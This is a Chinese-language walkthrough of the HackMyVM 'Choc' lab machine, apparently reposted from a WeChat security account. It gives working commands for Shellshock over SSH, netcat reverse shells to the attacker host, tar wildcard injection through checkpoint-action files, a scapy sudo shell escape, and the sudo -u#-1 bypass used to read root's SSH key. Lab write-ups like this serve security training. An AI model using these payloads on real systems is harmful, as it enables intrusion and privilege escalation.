靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Choc
网盘链接:https://pan.baidu.com/s/1OjMwuU6F1V98x2UnLz-eHA?pwd=xcvx
靶场: HackMyVm.eu
靶机名称: Choc
难度: 困难
发布时间: 2021年4月22日
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
fping -ag 10.0.0.0/24 2>/dev/null
扫描到主机地址为10.0.0.163
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 10.0.0.163 -oN nmap.log
扫描到21、22端口开放,其中21端口支持匿名访问,先来看看21端口
ftp 10.0.0.163
发现id_rsa文件,将其下载。现在有了key文件但还不知道用户账号,试试将key文件内容base64解码
解码后看到carl@choc,choc是主机名,carl就是账号(这个方法有时管用),尝试登录SSH
ssh [email protected] -i id_rsa
shellshock(破壳)漏洞
提示登录失败,检查是否存在shellshock(破壳)漏洞
ssh [email protected] -i id_rsa '() { :;}; echo aaaa'
有回显说明存在漏洞,利用shellshock反弹shell到攻击机
1。攻击机监听4444端口
nc -lvvp 4444
2。执行payload
ssh [email protected] -i id_rsa ’() { :;}; nc 10.0.0.3 4444 -e /bin/bash'
反弹成功,拿到carl权限,找找敏感信息
先切换到交互式shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset
切换成功,来找找敏感信息
cd /home/torki
ls -al
找到一个目录,检查下里面有什么文件
cd secret_garden
ls -al
发现diary.txt文本,查看内容
cat diary.txt
没看懂什么意思,大概说是发明了一台时间机器 ,然后人类都不存在了,自己有点无聊。。。。
尝试查找用户torki权限的文件
find / -user torki 2>/dev/null
发现一个备份文件来看下内容
cd /tmp
tar xvf backup_home.tgz
cat diary.txt
与之前的diary.txt内容一样,上传辅助脚本检查下
1。攻击机在脚本目录下开启HTTP服务
python3 -m http.server
2。靶机下载pspy64并执行
cd /tmp
wget http://10.0.0.3:8000/pspy64
chmod +x pspy64
./pspy64
后台会定时执行多个脚本,通过id1001用户的后台命令可以猜测到首先执行了backup.sh脚本,backup.sh脚本执行了tar 命令,这里可以利用通配符漏洞,验证一下
1。攻击机监听3333端口
nc -lvvp 3333
2。创建通配符漏洞文件,创建后等待1分钟内反弹shell回来
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh shell.sh"
echo "nc 10.0.0.3 3333 -e /bin/bash" >shell.sh
chmod +x shell.sh
反弹成功拿到torki权限,先切换到交互式shell(看之前的命令),再来找找可利用的信息
/usr/local/bin/sudo -l
发现可以使用sarah身份执行/usr/bin/scapy命令,来看看这个命令
/usr/local/bin/sudo -u sarah /usr/bin/scapy
这是一个python脚本,可以直接利用提权
import pty;pty.spawn("/bin/bash");
拿到sarah权限,再来找找如何提权
ls -al
cat .note.txt
拿到一段字符串,猜测是sarah的密码,登录到SSH(由于靶机被打坏了,我重新拉了一台IP变为10.0.0.164)
ssh [email protected]
登录成功,找找敏感信息
ls
cat user.txt
拿到user.txt,继续找
sudo -l
sudo -V
执行sudo -l发现除root用户外任何用户都可以执行/sur/bin/wall命令,再查看sudo版本1.8.23这个版本可以绕过!root这个安全设置,来验证下
1。先来看看wall如何提权
https://gtfobins.github.io/gtfobins/wall/
可以读取文件,再来看看sudo 1.8.23如何绕过
https://www.exploit-db.com/exploits/47502
知道如何提权和绕过安全设置,来验证一下
sudo -u#-1 /usr/bin/wall /root/root.txt
竟然找不到,换个文件
sudo -u#-1 /usr/bin/wall /root/.ssh/id_rsa
拿到root用户的key,保存后登录SSH(这里有个坑,key保存时需要把每行后面的空格删除)
vi rootKey
ssh -i rootkey [email protected]
拿到root.txt,游戏结束
原文始发于微信公众号(伏波路上学安全):渗透测试靶机练习No.90 Choc
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论